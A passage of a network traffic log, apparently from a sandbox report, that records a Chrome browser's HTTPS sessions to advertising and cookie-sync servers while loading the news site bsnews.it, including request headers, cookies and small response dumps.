ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^2^0; pi=159706:3; chkChromeAb67Sec=2
2024-03-28 08:51:36 UTC	1055	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://rtb.adentifi.com/CookieSyncPubMatic&gdpr=0&gdpr_consent= P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: SyncRTB3=1712793600%3A166_13_54_21_220_250_178_104_3_71%7C1712188800%3A223_15; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^1^0; domain=pubmatic.com; path=/; max-age=3; SameSite=None; secure; Set-Cookie: pi=159706:3; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=3; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Length: 95 Connection: close
2024-03-28 08:51:36 UTC	95	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 74 62 2e 61 64 65 6e 74 69 66 69 2e 63 6f 6d 2f 43 6f 6f 6b 69 65 53 79 6e 63 50 75 62 4d 61 74 69 63 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://rtb.adentifi.com/CookieSyncPubMatic&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.4	50398	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1251	OUT	GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=demandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvrg_61036=1,1711615884; tvv=2
2024-03-28 08:51:36 UTC	319	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true
2024-03-28 08:51:36 UTC	1106	IN	Data Raw: 34 34 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 44b<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.4	50395	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1201	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=3287041831475129344&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; SyncRTB3=1712793600%3A166_13_54_104_3_21_71_220_250%7C1712188800%3A223_15; ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^2^0; pi=159706:3; chkChromeAb67Sec=2
2024-03-28 08:51:36 UTC	705	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 28 Mar 2024 08:51:35 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_57=22776-3287041831475129344&KRTB&23339-3287041831475129344; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 26-Jun-2024 08:51:35 GMT; path=/ Set-Cookie: PugT=1711615895; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 27-Apr-2024 08:51:35 GMT; path=/ Location: https://image8.pubmatic.com/AdServer/ImgSync?sec=1&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY} P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.4	50379	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	795	OUT	GET /w/1.0/sd?id=537072399&val=3287041831475129344 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-03-28 08:51:36 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.4	50353	162.55.236.225	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	675	OUT	GET /a9b03dc9bdef0bcb818e9c4110ca0368/?uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.4	50373	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	758	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: checkForPermission=ok
2024-03-28 08:51:36 UTC	795	IN	HTTP/1.1 303 See Other Date: Thu, 28 Mar 2024 08:51:36 GMT location: https://cm.g.doubleclick.net/pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFCMHJFN01DbDhBQUJSZFlNZy1ZQQ&gdpr=0&gdpr_consent=&bee_sync_partners=syn%2Cpp%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Server: gunicorn set-cookie: bito=AAB0rE7MCl8AABRdYMg-YA; Domain=bidr.io; expires=Sun, 27 Apr 2025 04:51:36 GMT; Path=/; SameSite=None; Secure set-cookie: bitoIsSecure=ok; Domain=bidr.io; expires=Sun, 27 Apr 2025 04:51:36 GMT; Path=/; SameSite=None; Secure set-cookie: checkForPermission=""; Domain=bidr.io; expires=Thu, 01 May 2008 00:00:00 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.4	50385	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	808	OUT	GET /bh/rtset?pid=562985&ev=1&us_privacy=&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D149%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%25%25VGUID%25%25 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: V=qoRg4ZFEdTZx; pb_rtb_ev=3-1qhf\|7dW.0.1; INGRESSCOOKIE=bfb70d0b24e1067a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.4	50388	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	622	OUT	GET /ng-assets/creative/assets/index-5ff488ba.css HTTP/1.1 Host: cdn.bidbrain.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.4	50374	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	740	OUT	GET /match/?int_id=106&redir=1&ot_initiated=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/usync/?pubId=7a07370227fc000&gdpr=0&gdpr_consent= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.4	50383	172.64.149.180	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	631	OUT	GET /ht/htw-pixel.gif?ZgUvi9HM46UAADq7ABhzMwAA%262753 HTTP/1.1 Host: cdn.indexww.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.4	50400	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	760	OUT	GET /crum?cm_dsp_id=45&external_user_id=CAESEDteeIW_CFkcQZAbNNYlZxc&google_cver=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.4	50384	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	700	OUT	GET /464246.gif?partner_uid=7808c26f-88a4-04ff-36de-d6e7b982473f HTTP/1.1 Host: id.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=E9lxb7YToQPf0UWp1RijnNpoNT4EYab5OBFQvE6+p34=; pxrc=CAA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.4	50406	67.202.105.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	974	OUT	GET /deb/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=&b=1 HTTP/1.1 Host: hde.tynt.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=Vz/bJWYFL5jMu3Zve5QS2Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.4	50392	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.4	50372	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.4	50394	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.4	50411	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.4	50401	34.111.131.239	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.4	50407	34.200.65.202	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.4	50396	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.4	50399	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.4	50415	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.4	50402	216.22.16.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.4	50409	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.4	50414	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.4	50404	54.234.166.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.4	50416	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.4	50419	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.4	50405	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.4	50417	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.4	50418	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.4	50408	34.197.11.80	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.4	50363	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.4	50421	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.4	50412	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.4	50355	52.85.151.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.4	50425	107.178.254.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.4	50430	104.16.112.121	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.4	50427	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.4	50429	104.16.112.121	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.4	50433	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.4	50424	142.251.111.103	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.4	50423	142.251.111.103	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.4	50428	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.4	50432	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.4	50431	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.4	50426	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.4	50287	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.4	50268	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.4	50038	142.251.163.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

